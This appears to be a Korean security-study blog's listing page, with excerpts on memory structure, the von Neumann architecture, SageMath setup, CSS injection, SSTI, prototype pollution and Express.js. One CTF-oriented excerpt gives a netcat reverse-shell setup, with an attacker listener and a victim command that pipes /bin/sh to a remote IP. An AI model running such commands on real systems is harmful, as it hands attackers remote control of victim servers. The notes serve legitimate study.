반응형

전체 글 30

메모리 구조

컴퓨터 시스템에서 메모리는 중요한 역할을 합니다. 메모리는 프로그램과 데이터를 저장하는 공간으로, CPU가 작업을 수행할 때 필요한 정보를 제공합니다. 메모리 구조는 크게 세 가지 영역으로 나눌 수 있습니다. 코드 영역 코드 영역은 프로그램 코드가 저장되는 공간입니다. 프로그램을 실행할 때 코드 영역에 저장된 명령어들이 CPU로 전달되어 실행됩니다. 데이터 영역 데이터 영역은 프로그램에서 사용되는 전역 변수와 정적 변수가 저장되는 공간입니다. 이 영역의 변수들은 프로그램이 실행되는 동안 계속해서 값을 유지합니다. 초기화된 데이터 영역 : 전역변수, 정적변수(프로그램이 끝날 때 까지 남아있는 변수), 초기화된 읽기 전용 & 쓰기 전용 초기화 되지 않은 데이터 영역 : 힙 영역 힙 영역은 동적으로 할당되는 ..

시스템 2023.12.05

폰 노이만 구조

폰 노이만 구조란? 폰 노이만 구조는 컴퓨터의 중앙 처리 장치인 CPU에 명령어를 처리할 때 사용되는 구조 중 하나입니다. 이 구조는 CPU 내부에 레지스터라는 공간을 두어 명령어를 처리하고, 이후 결과를 저장하는 방식으로 동작합니다. 폰 노이만 구조는 명령어를 순차적으로 처리하는 구조이기 때문에 단순하고 빠른 처리 속도를 가지고 있습니다. 또한 명령어의 길이가 일정하다는 특징이 있어, 명령어를 처리할 때 별도의 변환 작업이 필요하지 않아 구현이 용이합니다. 하지만 데이터와 명령어가 같은 메모리에 저장되기 때문에, 데이터와 명령어의 처리 속도가 동일하게 제한되는 병목 현상이 발생할 수 있습니다. (폰 노이만 구조적 한계) 이러한 특징으로 인해 폰 노이만 구조는 대부분의 일반적인 컴퓨터에서 사용되고 있으며..

시스템 2023.12.05

SageMath ubuntu 설치(feat. MinYuqShu)

나같이 Sage를 써보고 싶은데 어케해야 설치하는지 모르는 사람들을 위해 방법을 적어 놔야것다. 나중에 도커 파일도 제작을 해봐야겠다. 일단 이건 우분투 용이다. sudo apt update && sudo apt install sagemath sage용 폴더 하나 만들고 권한 적당히 주고 확장자 .sage로 하나 만들고 sage 파일명.sage 하면 파이썬 파일이 하나 나온다. pwntool이랑 SageMath 공부해서 암호학 문제 풀어보자!

카테고리 없음 2023.12.05

CSS Injection

개념 공격자가 삽입한 값을 통해서 웹 페이지 내 로드된 CSS(스타일시트) 또는 Style 태그와 속성 등 페이지의 CSS를 통제하는 취약점 Detect Allowed HTML in Service HTML 사용이 허용된 서비스의 경우 기본적으로 CSS Injection의 영향을 받는다. 이 때 서비스에서 영향력을 줄이기 위해 position 등 허용된 영역 이외를 통제할 수 있는 CSS 규칙을 제한하고 있을 가능성이 높고, 없다면 CSS Injection으로 서비스 페이지의 전체 영역을 컨트롤할 수 있기 때문에 취약하고, 제한 로직이 있어도 이를 우회하여 CSS를 완벽하게 통제 가능 HTML Injection XSS와 유사하지만 Javascript를 실행하지 못하는 경우 HTML Injection으로 표..

웹 공부 2023.12.05

구름 IDE를 이용한 리버스셸(feat. MinYuqShu)

셸인지 쉘인지 그게 중요한가 싶지만 어찌됐든 웹해킹문제 풀 때 언젠간 쓸모 있을 거 같아 만들어 놓는다 ㅎㅎ 구름 IDE에 들어가서 가입 후 컨테이너를 블랭크로 만든다. 그 뒤에 설정에 들어가 내부포트를 설정해준다. nc 설치 apt-get install netcat (공격자) 포트 열기 nc -lvp 내부포트 (희생자 서버)그리고 리버스 셸 nc IP주소 외부포트-e /bin/sh 이 사이트를 참고하면 좋을 것 같습니다. https://www.revshells.com/

웹 공부 2023.12.05

SSTI

개념 SSTI는(Server Side Template Injection)은 공격자가 서버측 템플릿 구문을 통한 악성 페이로드를 페이지에 삽입하여 실행되도록 하는 공격기법 웹 페이지는 정적 웹페이지와 동적 웹페이지로 나뉜다. 하지만 프로그래밍 언어 HTMl, CSS, JavaScript, PHP 등의 언어를 사용해서 웹페이지를 구현하는 것 보다 템플릿이라는 것을 사용하면 훨씬 더 간편하고, 유지보수하기 쉽다. 대표적인 템플릿으로 Smarty, Mako, Jinja2, Twig 등 이 있다. (SSTI에 사용되는 페이로드 형태는 Template Engine 마다 차이가 있다.) SSTI는 Server의 기준으로 어떤 template를 이용하였을 때, injection이 가능한데, template를 악용하여 ..

웹 공부 2023.11.22

Prototype Pollution

JavaScript에서 Prototype 개념 함수 객체와 내부 구조 JS에서는 함수를 정의하고, 파싱단계에 들어가면, 내부적으로 수행되는 작업이 있다. 함수 멤버로 prototype 속성이 있는데, 이 속성은 다른 곳에 생성된 함수 이름의 프로토타입 객체를 참조한다. 프로토타입 객체의 멤버인 constructor 속성은 함수를 참조하는 내부 구조를 가진다. 그리고 생성된 함수는 Prototype이라는 속성을 통해 Prototype Object에 접근할 수 있습니다. Prototype Object는 일반적인 객체와 같으며 기본적인 속성으로 constructor와 __proto__를 가지고 있습니다. 속성이 하나도 없는 Person 함수가 정의되고, 파싱단계에 들어가면, Person함수 Prototype ..

웹 공부 2023.11.22

Express.js

개념 Express.js는 Node.js 환경에서 웹 애플리케이션 및 API를 개발하기 위한 강력한 웹 애플리케이션 프레임워크 중 하나. Express.js는 Node.js의 기능을 보완하여 웹 애플리케이션을 쉽게 작성하고 구축할 수 있도록 도움 Express.js는 Node.js는 Node.js의 핵심모듈HTTP 와 Connect 컴포넌트를 기반으로 하는 웹프레임워크로 그러한 컴포넌트를 미들웨어(middleWare)라고 하며, 설정보다는 관례(convention over configuration) 같은 프레임워크의 철학을 지탱하는 주춧돌에 해당함 Express 프레임워크는 코드의 양을 줄여주고 추후에 유지보수를 쉽게 하도록 만들어줌. Node.js에서 많이 이용하는 템플릿 엔진인 EJS 사용가능 실습

웹 공부 2023.11.22
반응형